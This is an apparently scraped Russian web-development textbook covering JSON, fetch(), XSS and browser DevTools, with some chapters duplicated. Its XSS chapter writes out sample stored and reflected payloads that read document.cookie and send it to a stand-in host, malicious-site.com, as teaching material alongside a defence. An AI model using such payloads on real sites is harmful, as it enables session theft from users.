К JSON предъявляется несколько требований. Мы уже про них говорили: допустимые типы данных, двойные кавычки для строк, отсутствие висящих запятых (помните об этом, это одна из самых частых ошибок) и так далее. Чтобы убедиться, что подготовленный JSON-документ валиден, есть специальные сервисы, расширения для редакторов и пакеты в NPM.

Для экспериментов можем порекомендовать сервис JSON Formatter & Validator. Он позволяет не только проверить JSON на корректность, но и отформатировать его — привести в читабельный вид.

Последняя возможность пригодится, когда вам потребуется разобраться с JSON, получаемым от сервера. Повторимся, зачастую его подвергают минификации, что не позволяет комфортно читать.

Из JSON и обратно

Для работы с JSON в JavaScript есть одноимённый встроенный объект `JSON`. Он предоставляет два метода: `stringify` (для получения JSON строки, соответствующей переданному значению) и `parse` (для разбора JSON строки и получению значения).

Испробуем методы в работе. Все перечисленные примеры вы сможете повторить, воспользовавшись консолью в инструментах разработчиков. Сначала рассмотрим конвертацию JSON-строки в объект. В качестве тестовых данных воспользуемся ранее приведённым примером:

```
const albumJSON = `{
    "band": "Bon Jovi",
    "title": "Slippery when wet",
    "year": 1986,
    "tracks": [
        "Let it rock",
        "You give love a bad name",
        "Livin'on a prayer",
        "Social Disease"
    ]
}`;

// Преобразуем JSON объект в объект
const albumObject = JSON.parse(albumJSON);

// Получим объект
// {band: "Bon Jovi", title: "Slippery when wet",
//  year: 1986, tracks: Array(4) }
console.log(albumObject);
```

В примере текст в формате JSON сохранён в переменную `albumJSON`. Обратите внимание на кавычки. Это именно строка, а не литерал объекта. Затем в переменную `albumObject` присваиваем результат вызова `JSON.parse()`. Аргументом этот метод принимает строку в формате JSON, а результатом станет объект, полученный в ходе преобразования.

Обратная процедура выполняется с помощью метода `stringify`. Рассмотрим на ещё одном примере:

```
const user = {
  firstName: 'Keks',
  type: 'cat',
  favorites: [
    'milk',
    'meat',
  ],
}

// Получим JSON-строку
const jsonText = JSON.stringify(user);

// {"firstName":"Keks","type":"cat","favorites":["milk","meat"]}
console.log(jsonText);
```

Для преобразования (сериализации) объекта `user` в JSON мы воспользовались методом `JSON.stringify()`. Аргументом передали объект, а результатом стала строка — текст в формате JSON.

Методы `stringify` и `parse` могут принимать дополнительные аргументы для настройки преобразования. В данном разделе они не будут рассмотрены. Получить информацию по ним вы сможете из MDN.

Резюме

JSON — лаконичный формат для обмена данными. Его легко читать машинам и людям. Сегодня формат используется повсеместно при обмене данными бэкенда с фронтендом.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Глава 7.8. Fetch API

Fetch API — современный, гибкий и универсальный способ для отправки запросов к серверу. Мы говорим Fetch API, но по факту подразумеваем функцию `fetch()`, с помощью которой можно получать и отправлять произвольные данные на сервер.

▶ А что было до `fetch()`?

Синтаксис

Начнём знакомство с `fetch()` с рассмотрения интерфейса. Функция принимает два параметра: адрес ресурса, на который требуется отправить запрос, и объект с настройками. Второй параметр опционален и может не использоваться:

```
fetch(адрес[, настройки]);
```

Результатом выполнения `fetch()` станет промис. За счёт поддержки промисов, обрабатывать результат выполнения `fetch()` становится гораздо удобней. Попробуем проверить на реальном примере. Запросим информацию о публикациях у тестового сервера JSONPlaceholder с помощью `fetch()`:

```
fetch('https://jsonplaceholder.typicode.com/posts')
  .then((response) => response.json())
  .then((posts) => console.log(posts));
```

Этот простой пример демонстрирует выполнение `GET`-запроса для получения данных (список публикаций) в JSON. Первым аргументом `fetch()` мы передали адрес ресурса. Второй аргумент не задали, так как для выполнения `GET`-запроса дополнительные настройки не требуются. По умолчанию `fetch()` выполнит именно `GET`-запрос.

Раз `fetch()` возвращает промис, мы получаем возможность использовать знакомые методы `then`, `catch` и `finally`. В случае успешного завершения промиса мы получим от сервера объект с ответом. Само собой не в текстовом виде, а в структурированном. Объект позволит понять состояние ответа и получить не только данные из тела ответа, но и при необходимости служебную информацию. Например, заголовки, установленные сервером.

> **Ещё раз,** `fetch()` не привносит магии — взаимодействие с сервером по-прежнему происходит в асинхронном режиме. Это означает, что запрос выполнится не мгновенно, а данные мы получим не сразу. Результатом выполнения `fetch()` будет промис в состоянии выполняется.

В представленном примере нас интересуют только данные. Результат выполнения `fetch()` — ответ от сервера — попадёт в параметр `response` (это специальный объект ответа, о нём будет дальше). Нам заранее известно, что сервер вернёт информацию о публикациях в JSON. Поэтому мы не делаем дополнительных проверок, а сразу пытаемся прочитать JSON, для этого используем метод `json()` у объекта с ответом:

```
.then((response) => response.json())
```

Встроенный метод `json()` автоматически извлечёт JSON-данные из ответа, преобразует их в объект или массив, чтобы с данными можно было работать в JavaScript, и вернёт новый промис. А раз результатом станет промис, то можно продолжать цепочку `then` и вывести данные в консоль:

```
.then((posts) => console.log(posts));
```

Попробуйте скопировать код целиком своего примера и выполнить на этой странице в консоли браузера. Спустя какое-то время в консоли появится список публикаций.

Elements
Console
Sources
Network
Performance
top
Filter
Default levels
1 hidden
2 messages
1 user mes...
No errors
No warnings
2 info
No verbose
Hide network
Preserve log
Selected context only
Group similar
Log XMLHttpRequests
Eager evaluation
Autocomplete from history
Evaluate triggers user activation
fetch('https://jsonplaceholder.typicode.com/posts/')
.then((response) => response.json())
.then((posts) => console.log(posts))
Promise {<pending>}
VM2177:3
(100) [{…}, {…}, {…}, {

Глава 7.9. Безопасность. XSS (Cross-site-scripting)

Аббревиатура XSS расшифровывается как Cross-Site Scripting (межсайтовый скриптинг). Если особо не погружаться в детали, смысл атаки заключается во внедрении вредоносного кода в страницу. Атака не затрагивает серверную часть, но напрямую влияет на клиентскую — на пользователей уязвимого сервиса.

А какой код можно внедрить в страницу? У страницы же нет доступа к базе данных или другому серверному компоненту, где можно получить данные пользователей. Речь идёт о JavaScript-коде. Зловредном коде.

Вам хорошо известно, для выполнения JavaScript-кода на странице (в контексте фронтенда) необходимо разместить его между тегами `<script></script>`. Про этот способ мы рассказывали в первой главе учебника. Атака XSS в этом и заключается. Злоумышленник внедряет в страницу зловредный JavaScript-код. Пользователь переходит на эту страницу, код выполняется и конфиденциальные данные пользователя отправляются злоумышленнику.

На практике это может выглядеть так. Представьте персональный блог — вы его разрабатываете в рамках личного проекта. Все зарегистрированные пользователи могут оставлять комментарии к публикациям.

Всё работает прекрасно, пока не появляется пользователь, который хочет не просто обсуждать публикации, а украсть доступ к учётным записям других пользователей блога. Для этого злоумышленник в поле комментарий пишет какой-то текст, тег `<script>`, а в нём немного JavaScript-кода. Если не происходит никакой фильтрации, то после публикации такого комментария, код будет выполняться у всех пользователей, посетивших страницу.

А что опасного может быть в этом коде? Часто разработчики используют cookie для хранения идентификатора сессии пользователя. Что такое идентификатор? Это строка с уникальным набором символов, позволяющих отличить одного авторизованного пользователя от другого.

Зловредный код может прочитать это значение и передать на сервер злоумышленника при помощи Ajax-запроса. В этом и заключается смысл XSS-атаки. Собрав такие идентификаторы, злоумышленник может подставить их себе. Если разработчик не предусмотрел дополнительной защиты, то злоумышленник сможет войти в приложение под учётной записью пользователя.

Рассмотренный сценарий выше — один из самых популярных, но не единственный. При отсутствии фильтрации, можно выполнить любой JavaScript-код. Например, собрать все данные со страницы (при помощи банальных `querySelector`) или сделать другие деструктивные действия.

XSS на примере

Попробуем взглянуть на проблему с практической точки зрения. Создадим демонстрационное приложение и на реальном примере узнаем, что подразумевается под XSS. В качестве демонстрационного приложения сделаем простую форму для ввода имени. Пользователь вводит имя, отправляет форму, и в параграфе появляется текст с приветствием пользователя. Приложение максимально простое, но оно прекрасно проиллюстрирует проблему:

```
<form id="basic-form">
    <input id="user-name" type="text">
    <input type="submit" value="Отправить" placeholder="Пожалуйста, представьтесь">
    <p id="welcome-user">=</p>
</form>

<script>
    'use strict';

    const submitformHandler = (evt) => {
        evt.preventDefault();
        welcomeUserElement.innerHTML =  `Привет, ${userNameElement.value}!`;
    }

    const formElement = document.querySelector('#basic-form');
    const welcomeUserElement = formElement.querySelector('#welcome-user');
    const userNameElement = formElement.querySelector('#user-name');

    formElement.addEventListener('submit', submitformHandler);
</script>
```

Попробуйте открыть страницу в браузере и протестировать приложение. Убедитесь, что всё работает так, как и было запланировано.

Рисунок 1. Форма для ввода имени

На первом рисунке продемонстрирован результат работы приложения. В качестве теста мы ввели имя «Иван», и оно отобразилось в параграфе. Приложение работает так, как мы и ожидаем. Теперь давайте вместо имени введём на первый взгляд безобидную строку:

```
<img src="" onerror="alert('xss')">
```

Нажмите кнопку «Отправить». На этот раз в параграфе `#welcome-user` отобразится «Привет, !», но в довесок к этому вы увидите модальное окно с текстом «xss». Мы внедрили в страницу сторонний JavaScript-код. В примере он показывает бесполезное модальное окно, но вы понимаете, что он может делать намного больше. Выше мы обсуждали несколько негативных сценариев.

Рисунок 2. XSS в действии

Рассмотрим ещё один пример и разберёмся, как выглядит внедрение XSS изнутри. Представим, что вы разрабатываете какой-нибудь форум любителей аквариумных рыбок. Пусть схематично его разметка выглядит так:

```
<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
        <header class="topic-header">
                <h2>Разведение пираний в домашних условиях</h2>
        </header>
        <p class="topic-body">
                Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
    <footer class="posted-by">
        От <span class="poster-name">Другой Пользователь</span>
    </footer>
</article>
```

Простая разметка — ничего необычного. Один из пользователей, который создал эту тему для обсуждения выбрал при регистрации необычное имя. Вот такое:

```
Другой пользователь</span><script>const
username=document.querySelector('.username').textContent;const
sessionCookie=document.cookie.match(/session-token=([^;$1=])/)[1];fetch('http://www.malicious-
site.com',{method: 'post',body:JSON.stringify({username,sessionCookie})});</script>
```

Что произойдёт, если другой участник обсуждения просмотрит эту тему? Разметка страницы начнёт выглядеть следующим образом (отформатировано для читабельности):

```
<h1>Здравствуйте, <span class="username">Обычный Пользователь</span>!</h1>
<article class="topic">
        <header class="topic-header">
                <h2>Разведение пираний в домашних условиях</h2>
        </header>
        <p class="topic-body">
                Всем привет. Я решил завести себе пираний.
Расскажите, какие плюсы, минусы, подводные камни.</p>
    <footer class="posted-by">
        От <span class="poster-name">Другой Пользователь</span>
        <script>
            const username = document.querySelector('.username').textContent;
            const sessionCookie = document.cookie.match(/session-token=([^;$1=])/)[1];
            fetch('http://www.malicious-site.com', {
                method: 'post',
                body: JSON.stringify({username, sessionCookie})
            });
        </script>
    </footer>
</article>
```

Визуально на странице ничего не изменится. Всё то же безумное объявление, но это лишь на первый взгляд. Экзотичное имя пользователя (то самое с кодом) содержало закрывающий тег `</span>`. Выходит, что на этом описание элемента с именем пользователя заканчивается. За ним следует тег `<script>` с JavaScript-кодом, который браузер вынужден исполнить.

Выполнение этого кода приведёт к отправке идентификатора сессии на сервер злоумышленника (`www.malicious-site.com`). Получив идентификатор, злоумышленник сможет подставить его себе и войти в сервис от имени пользователя. Дальше можно изменить профиль (если сервис позволяет это сделать без ввода пароля) и сделать другие деструктивные действия.

Виды XSS

Существует два основных вида XSS-атак. Первый — *хранимые XSS* (Stored XSS). Его мы разобрали в предыдущем примере. Один пользователь вводит зловредные данные, которые сохраняются на сервере и оттуда попадают на страницу другого пользователя.

Рисунок 3. Stored XSS

Другой вид — отражённые XSS (Reflected XSS). Атаки этого типа выглядят иначе. Допустим, на форуме любителей рыбок есть поиск по сообщениям. Маршрут на страницу с выдачей результатов может выглядеть так:

```
http://www.aquarium-forum.com/search?q=guppy
```

При переходе пользователь увидит страницу примерно с такой разметкой:

```
<div class="query">
        Результаты поиска по запросу <span class="query-text">guppy</span>:
</div>
<div class="result">
        <!-- результаты поиска -->
</div>
```

Ничего необычного в этой разметке нет, но представьте, что один из пользователей форума любителей рыбок получил на свой email провокационное письмо: «Шокирующая правда о гуппи! Рыбки не переносят... (продолжение по ссылке)». Пользователь на эмоциях переходит по ней (он видит, что она ведёт на его любимый форум) и видит вполне ожидаемую страницу с результатами поиска. Только без шокирующих новостей, но идентификатор его сессии уже улетел злоумышленнику. Ссылка в письме выглядела так:

```
http://www.aquarium-forum.com/search?q=guppy<script>fetch('http://www.malicious-site.com?
cookie'+document.cookie)</script>
```

После перехода по ссылке, разметка страницы преобразилась и обзавелась одной строкой кода на JavaScript. Визуально это незаметно, но браузер выполнит код, который не предполагал разработчик:

```
<div class="query">
        Результаты поиска по запросу <span class="query-text">guppy
<script>
        fetch('http://www.malicious-site.com?cookie=' + document.cookie);
</script>
</span>:
</div>
<div class="result">
        <!-- результаты поиска -->
</div>
```

Рисунок 4. Reflected XSS

Защита от XSS

Основная причина появления XSS заключается в недостаточной фильтрации входных данных. Мы это видели на двух примерах. Давайте подумаем, как бороться с этой проблемой. Начнём с простого: не стоит вставлять пользовательские данные в свойство `innerHTML`.

Если пользователь пришлёт разметку с кодом на JavaScript, то браузер интерпретирует код и станут возможны сценарии, о которых говорили выше. Что же делать? Самый простой вариант: вместо `innerHTML` применять `innerText`. Тогда содержимое будет отображаться как простой текст.

Резюме

XSS атаки представляют серьёзную угрозу для веб-приложений. В этом разделе мы рассмотрели теорию и один из самых простых вариантов защиты. Конечно, это решение нельзя назвать серебряной пулей. К вопросам безопасности следует подходить комплексно: как на клиенте, так и на сервере. Запомните главное правило: любые данные, полученные от пользователя, по умолчанию нельзя считать безопасными.

Теория ~ 3 минуты

Глава 8.1. Знакомство с DevTools

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

Как открыть инструменты разработчика

- Через контекстное меню настроек браузера.
- Через контекстное меню на странице.
- Нажатием на клавишу `F12` (работает везде, кроме Safari и Opera).
- Комбинацией клавиш `Command + Option + I` (macOS) и `Ctrl + Shift + I` (Windows, Linux).

Последняя комбинация клавиш открывает DevTools на первой вкладке слева или же на последней посещённой вкладке, если DevTools уже закрывали до этого. Повторное нажатие комбинации закрывает DevTools.

Полный список комбинаций клавиш доступен в документации по Chrome DevTools.

Инструменты разработчика открываются одинаково во всех браузерах, но есть особенности:

- **Safari** — прежде, чем открыть DevTools, нужно включить инструменты разработчика в настройках, руководство пользователя Safari.
- **Firefox** — в момент первого открытия DevTools браузер может попросить ввести в консоль слово «Разработка».

Расположение инструментов разработчика

Панель DevTools можно расположить в разных областях окна браузера, для этого есть переключатель в контекстном меню панели (три точки в правом верхнем углу) → Dock side.

Рисунок 1. Расположение инструментов разработчика

Основные вкладки

- **Elements** — используется для просмотра и редактирования DOM-дерева и стилей страницы.
- **Console** — необходима для логирования диагностической информации и ошибок в процессе разработки или взаимодействия с JavaScript.
- **Sources** — показывает файлы, подключённые на странице.
- **Network** — мониторит процесс загрузки страницы, файлов и сетевых запросов.
- **Lighthouse** — инструмент аудита, показывающий насколько веб-сайт соответствует стандартам Google, предлагает способы исправления проблем производительности и доступности. Инструмент доступен в Google Chrome, также Lighthouse можно установить отдельно в Firefox.
- **Device Toolbar** — используется для оценки того, как страница выглядит и работает на мобильном устройстве.

Рисунок 2. Device Toolbar в Google Chrome

Рисунок 3. Device Toolbar в Firefox

Рисунок 4. Device Toolbar в Safari

Детально каждая вкладка будет разобрана в отдельных главах.

Дополнительные вкладки скрыты под тремя точками → More tools.

Рисунок 5. Добавление скрытых вкладок

Теория ~ 5 минут

Глава 8.2.1. Как сообщения попадают в консоль

Основное назначение консоли браузера в том, чтобы выводить сообщения в ходе работы программы. Сообщения в консоли помогают убедиться, что код программы работает, как задумано.

Для вывода сообщений предусмотрен объект `console`, он не является частью JavaScript и существует только внутри браузера. До 2011 года функционал работы с консолью был не везде, но сейчас его поддерживает каждый современный браузер.

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

Как вывести сообщение в консоль

Для вывода сообщения в консоль используется метод `.log()` объекта `console`. Значение, переданное при вызове метода `console.log()`, печатается (логируется) в консоли браузера с указанием места, где метод `console.log()` был вызван:

При вызове метода `console.log()` внутри самой консоли мы наблюдаем `undefined` в строке со стрелочкой «влево» — так в консоли помечается возвращаемое значение:

Рисунок 1. Как вывести сообщение в консоль

Дело в том, что метод `console.log()` не возвращает явного значения, а потому возвращается `undefined`. Однако при вызове `console.log()` из кода программы, `undefined` в консоль выводиться не будет, так как вызов функции происходит за пределами консоли браузера. Метод `console.log()` принимает неограниченное количество аргументов. Аргументы будут выводиться в консоль по порядку и разделяться пробелом:

Рисунок 2. Вывод нескольких значений в консоль

Второй самый используемый метод объекта `console` — `console.error()`, он используется для вывода ошибок в консоль браузера. Результат его работы аналогичен `console.log()`, разница лишь в том, что сообщение логируется красным текстом и имеет выпадающую справку, в которой показаны все файлы и функции, которые затрагивает ошибка, это называется Stack trace. Подробнее, что такое Stack trace, можно почитать на MDN. Также вызов `console.error()` повышает на единицу счётчик ошибок в правом верхнем углу инструментов разработчика:

Прочие возможности консоли

Помимо логирования сообщений и ошибок в console предусмотрено множество других методов. Они помогают в разработке и отладке программы, вот описание некоторых из них:

- `console.table()` — выводит сложные данные в виде таблицы;
- `console.group()` — группирует сообщения, попавшие в консоль;
- `console.assert()` — сравнивает значения между собой;
- `console.time()` и `console.timeEnd()` — замеряют быстродействия участков кода;
- `console.warn()` — выводит в консоль самописное предупреждение.

Чтобы увидеть доступные методы объекта `console`, выведем его в консоль:

Рисунок 3. Вывод объекта с console в консоль

Для очистки всех сообщений в консоли браузера используется метод `console.clear()`.

Также для очистки консоли можно нажать на соответствующую кнопку в левой верхней части консоли или использовать комбинацию клавиш:

- `ctrl + L` на Windows и Linux
- `cmd + K` на MacOS

Рисунок 4. Использование метода clear

Подробнее познакомиться с каждым методом можно в статье на Хабре.

Вывод других JavaScript сущностей

При помощи `console.log()` можно выводить не только строки, но и другие типы данных, например объекты и массивы:

Рисунок 5. Вывод массивов и объектов в консоль

При вводе значения в консоли браузера можно опустить вызов `console.log()`, так как сам факт ввода уже является логированием и приведёт к аналогичному результату:

Рисунок 6. Логирование в консоли без console.log ()

Консоль — для разработчика

Метод `console.log()` полезен для отладки во время разработки, но его не должно быть в готовом коде, который отправляется пользователю. Поэтому обязательно удаляйте все вызовы `console.log()` и подобных методов по окончании разработки. Для удобства, чтобы не держать эту информацию в голове, в линтерах существует специальное правило на запрет методов консоли. Это правило можно игнорировать в момент отладки, но по завершении оно подскажет, где подчистить вызовы `console.log()` и подобных.

Теория ~ 5 минут

Глава 8.2.1. Как сообщения попадают в консоль

Основное назначение консоли браузера в том, чтобы выводить сообщения в ходе работы программы. Сообщения в консоли помогают убедиться, что код программы работает, как задумано.

Для вывода сообщений предусмотрен объект `console`, он не является частью JavaScript и существует только внутри браузера. До 2011 года функционал работы с консолью был не везде, но сейчас его поддерживает каждый современный браузер.

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

Как вывести сообщение в консоль

Для вывода сообщения в консоль используется метод `.log()` объекта `console`. Значение, переданное при вызове метода `console.log()`, печатается (логируется) в консоли браузера с указанием места, где метод `console.log()` был вызван:

При вызове метода `console.log()` внутри самой консоли мы наблюдаем `undefined` в строке со стрелочкой «влево» — так в консоли помечается возвращаемое значение:

Рисунок 1. Как вывести сообщение в консоль

Дело в том, что метод `console.log()` не возвращает явного значения, а потому возвращается `undefined`. Однако при вызове `console.log()` из кода программы, `undefined` в консоль выводиться не будет, так как вызов функции происходит за пределами консоли браузера. Метод `console.log()` принимает неограниченное количество аргументов. Аргументы будут выводиться в консоль по порядку и разделяться пробелом:

Рисунок 2. Вывод нескольких значений в консоль

Второй самый используемый метод объекта `console` — `console.error()`, он используется для вывода ошибок в консоль браузера. Результат его работы аналогичен `console.log()`, разница лишь в том, что сообщение логируется красным текстом и имеет выпадающую справку, в которой показаны все файлы и функции, которые затрагивает ошибка, это называется Stack trace. Подробнее, что такое Stack trace, можно почитать на MDN. Также вызов `console.error()` повышает на единицу счётчик ошибок в правом верхнем углу инструментов разработчика:

Прочие возможности консоли

Помимо логирования сообщений и ошибок в console предусмотрено множество других методов. Они помогают в разработке и отладке программы, вот описание некоторых из них:

- `console.table()` — выводит сложные данные в виде таблицы;
- `console.group()` — группирует сообщения, попавшие в консоль;
- `console.assert()` — сравнивает значения между собой;
- `console.time()` и `console.timeEnd()` — замеряют быстродействия участков кода;
- `console.warn()` — выводит в консоль самописное предупреждение.

Чтобы увидеть доступные методы объекта `console`, выведем его в консоль:

Рисунок 3. Вывод объекта с console в консоль

Для очистки всех сообщений в консоли браузера используется метод `console.clear()`.

Также для очистки консоли можно нажать на соответствующую кнопку в левой верхней части консоли или использовать комбинацию клавиш:

- `ctrl + L` на Windows и Linux
- `cmd + K` на MacOS

Рисунок 4. Использование метода clear

Подробнее познакомиться с каждым методом можно в статье на Хабре.

Вывод других JavaScript сущностей

При помощи `console.log()` можно выводить не только строки, но и другие типы данных, например объекты и массивы:

Рисунок 5. Вывод массивов и объектов в консоль

При вводе значения в консоли браузера можно опустить вызов `console.log()`, так как сам факт ввода уже является логированием и приведёт к аналогичному результату:

Рисунок 6. Логирование в консоли без console.log ()

Консоль — для разработчика

Метод `console.log()` полезен для отладки во время разработки, но его не должно быть в готовом коде, который отправляется пользователю. Поэтому обязательно удаляйте все вызовы `console.log()` и подобных методов по окончании разработки. Для удобства, чтобы не держать эту информацию в голове, в линтерах существует специальное правило на запрет методов консоли. Это правило можно игнорировать в момент отладки, но по завершении оно подскажет, где подчистить вызовы `console.log()` и подобных.

Теория ~ 2 минуты

Глава 8.2.2. Консоль удобна для проверки гипотез

Консоль часто используют для вывода сообщений при написании и отладке кода. Также в ней можно увидеть сообщения об ошибках и предупреждения. Но помимо логирования в консоли можно выполнять код.

Это бывает очень удобно, когда нужно быстро проверить какую-то гипотезу или выполнить небольшой кусочек кода. В таких случаях видны плюсы консоли:

- она всегда под рукой;
- в ней доступны все методы, доступные в браузере, есть автодополнение;
- её можно использовать для быстрого получения ответа на вопрос.

Рассмотрим несколько практических примеров:

- Как быстро получить ответ на вопрос: «К какому типу данных относится `null`?». Для этого достаточно открыть консоль и ввести всего одну строку `typeof null`:
- Или как быстро решить небольшую задачу: найти гипотенузу прямоугольного треугольника. Снова всего одна строка в консоли — и ответ готов:
- И многое другое...

С помощью консоли можно решать разнообразные задачи. Конечно, не стоит рассматривать её как полноценный редактор кода. Но если задача небольшая, а ответ нужен быстро, консоль — отличный вариант.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 5 минут

Глава 8.2.3. Почему опасно выполнять незнакомый код в консоли

Современный разработчик постоянно использует код, написанный кем-то другим. Мы настолько привыкли к этому, что порой забываем, какую это может нести опасность. Давайте разберёмся, чем может грозить выполнение незнакомого кода в консоли браузера.

Похищение данных

Предположим, что некий злоумышленник методами социальной инженерии заставил жертву выполнить у себя в браузере вредоносный код. В чём может заключаться его вредоносность? Самый очевидный сценарий — кража данных. Код извлекает из браузера жертвы некую информацию, которая не должна быть общедоступной, затем отправляет её злоумышленнику. Что это может быть за информация?

Cookie (куки)

Похищаемыми данными могут быть cookie. **Cookie** — это технология, позволяющая сайту хранить информацию в браузере пользователя так, чтобы она оставалась даже после закрытия вкладки. Эта технология часто используется для аутентификации пользователя, такие cookie называются сессионными.

Вы можете получить доступ к cookie в консоли, написав `document.cookie`. Раз можете вы — значит, может и злоумышленник. Получив сессионные куки, злоумышленник может войти в ваш аккаунт на сайте, на странице которого вы выполнили вредоносный код. По крайней мере, теоретически может.

На самом деле, существует большое количество механизмов защиты от такой атаки. Например, **http-only cookie**, к которым невозможно получить доступ через клиентский JavaScript. Также существуют другие способы защиты, которые могут использовать разработчики сайта — однако не стоит слепо на это надеяться и выполнять в консоли потенциально вредоносный код.

Хранилища данных

В современных браузерах существует множество механизмов для хранения данных на стороне клиента — **LocalStorage**, **SessionStorage**, **IndexedDB**. Какие данные находятся в этих хранилищах — зависит от конкретного сайта и архитектурных решений его разработчиков. Как и в cookie, в них может находиться информация, связанная с аутентификацией пользователя — например, **JSON Web Token**. Или же там может храниться другая приватная информация, представляющая интерес для злоумышленника.

Значения глобальных переменных

Хороший JS-код, как правило, не использует глобальные переменные. Однако, к сожалению, не все разработчики сайтов пишут хороший код. Может оказаться, что чувствительная информация находится в глобальной области видимости — скажем, в переменной `window.superSecretPassword`, к которой без труда можно получить доступ из консоли.

Информация на странице

Имея доступ к DOM-дереву, можно «вытащить» из него текст любого элемента, URL изображения или ссылки — в общем, всё, что видит пользователь, и даже немного больше. В зависимости от того, на какой именно странице выполняется вредоносный скрипт, что-то из этих данных может представлять ценность для злоумышленника. Например, в личном кабинете какого-нибудь банка может отображаться номер банковской карты, а может даже и защитный код. Обычно такая информация отображается только по специальному запросу — как раз для того, чтобы защититься от этой и других подобных атак. Однако даже в том, что злоумышленник получит список последних ваших диалогов в соцсети, нет ничего хорошего.

Подделка запросов

Вредоносный код может не ограничиться простым похищением данных. Вместо этого он может произвести от вашего имени какие-то действия на странице — например, отправку формы или AJAX-запроса. Выполнив несколько строк непонятного кода во вкладке с соцсетью, можно внезапно обнаружить, что от вашего имени отправлены спам-сообщения всему списку контактов. И это ещё не самый неприятный сценарий.

Впрочем, существуют техники защиты и от такого типа атак. Отправку AJAX-запросов из консоли можно запретить с помощью CORS. Также браузер умеет отличать события, вызванные пользовательским вводом, от событий, инициированных программно. Однако, как и в предыдущих случаях, не стоит полагаться на то, что на конкретном сайте все эти методы защиты действительно используются.

Заключение

Выполнять какой-либо код следует лишь тогда, когда истинно хотя бы одно из трёх условий. Либо вы понимаете, что этот код делает, либо у вас есть причины ему доверять, либо вы выполняете его в таком окружении, где он в принципе не может причинить вред. Код, исполняемый в консоли браузера, способен причинить вред. Поэтому убедитесь, что истинно хотя бы одно из первых двух условий. Если этот код не исходит из авторитетного источника (например, статьи HTML Academy), и если вы не понимаете досконально, как этот код будет работать — не выполняйте его.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

~ 3 минуты

Глава 8.2.4. Опция «Preserve log»

Во время разработки приходится часто обновлять страницу, чтобы применились внесённые в код изменения. Но что делать, если нужно сравнить вывод в консоль браузера до и после изменений?

Здесь нам поможет опция *Preserve log* в DevTools, которая сохраняет записи на вкладке Console при обновлении страницы или переходе на другую страницу. По умолчанию данная опция отключена, поэтому её нужно включить в настройках вкладки Console:

Обратите внимание, что нужно выбрать настройки именно вкладки Console, а не всех DevTools.

В Firefox опция называется *Persist logs*, тоже отключена по умолчанию и включается похожим образом:

Как это работает?

> Мы рассмотрим работу опции «Preserve log» на примере DevTools в браузере Chrome, в Firefox и других браузерах данная опция работает похожим образом

Перед загрузкой страницы Chrome DevTools начинает вести журнал событий, которые произошли при загрузке страницы. Как события, которые выводятся с помощью команды `console.log()`, так и системные, например различные ошибки и информационные предупреждения браузера.

Давайте рассмотрим пример, когда опция *Preserve log* отключена.

При обновлении страницы или переходе на другую страницу у нас формируется новый лог событий, а предыдущий очищается. В случае, когда опция *Preserve log* включена, наш журнал не будет очищаться, а будет дополняться новыми записями.

Данная опция позволяет удобно сравнивать небольшие изменения и отлавливать ошибки.

Обратите внимание, что нельзя очистить вкладку Console при помощи стандартного метода `console.clear()`. В этом случае вы получите предупреждение о том, что данное действие невозможно из-за включённой опции *Preserve log*.

Чтобы очистить журнал вкладки *Console*, воспользуйтесь кнопкой 🚫, сочетанием клавиш `Ctrl+L` (`Fn+Ctrl+L` в macOS) или пунктом контекстного меню *Clear console*.

Если вы обнаружили ошибку или неработающую ссылку, выделите ее и нажмите Ctrl + Enter

Теория ~ 3 минуты

Глава 8.3.1. Обзор вкладки Elements

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

После полной загрузки страницы браузер создаёт объектную модель документа (Document Object Model), в которой хранится дерево элементов страницы. Для навигации по DOM-дереву в DevTools предусмотрена вкладка Elements.

Рисунок 1. DOM на вкладке Elements

Стоит учитывать, что DOM генерируется в процессе загрузки страницы и хоть он визуально похож на разметку — на самом деле ей не является. В процессе генерации DOM могут быть исправлены некоторые ошибки разметки и добавлены новые элементы с помощью JavaScript.

Посмотреть разметку страницы можно по клику на произвольной области экрана правой кнопкой мыши → «Просмотр кода страницы».

На примере видно, что при генерации DOM в `table` появились обязательные теги `tbody` и `tr`, появился закрывающий тег у `form`, также с помощью JavaScript на странице появились чекбоксы и заголовок, но сама разметка при этом осталась в исходном состоянии.

Возможности

- **Кнопка inspect** позволяет выбрать элемент на странице с помощью мыши.

Рисунок 2. Кнопка Inspect

Альтернативные способы выбора элемента:

- Правый клик по элементу → Просмотреть код (Inspect).
- Комбинация клавиш — `Command+Option+C` (macOS) или `Control+Shift+C` (Windows, Linux) + клик по элементу.

- **Кнопка переключения Device Toolbar** используется для оценки того, как страница выглядит и работает на мобильном устройстве. Об этой возможности поговорим отдельно.

Рисунок 3. Кнопка переключения Device Toolbar

Секция с вкладками в правой боковой панели DevTools

- **Styles** — выводит и позволяет редактировать стили элемента, включая наследуемые от родительских элементов, показывает блочную модель элемента.
- **Computed** — на этой вкладке перечислены только стили, которые отображаются на экране. Все относительные единицы будут пересчитаны в пиксели.
- **Layout** — предоставляет наглядное отображение всех CSS grid сеток на странице. Подробнее в документации по Chrome DevTools.
- **Event Listeners** — выводит обработчики событий элемента.
- **DOM Breakpoints** — используется для остановки кода, который изменяет выбранный элемент или его детей. Подробнее в документации по Chrome DevTools.
- **Properties** — выводит все доступные свойства элемента.
- **Accessibility** — позволяет проверять каждый элемент по метрикам доступности. Подробнее в документации по Chrome DevTools.

Теория ~ 3 минуты

Глава 8.3.1. Обзор вкладки Elements

Статьи по теме в блоге Академии:

- Введение в Chrome DevTools. Панель Elements
- Введение в Chrome DevTools. Console, Sources, Network

После полной загрузки страницы браузер создаёт объектную модель документа (Document Object Model), в которой хранится дерево элементов страницы. Для навигации по DOM-дереву в DevTools предусмотрена вкладка Elements.

Рисунок 1. DOM на вкладке Elements

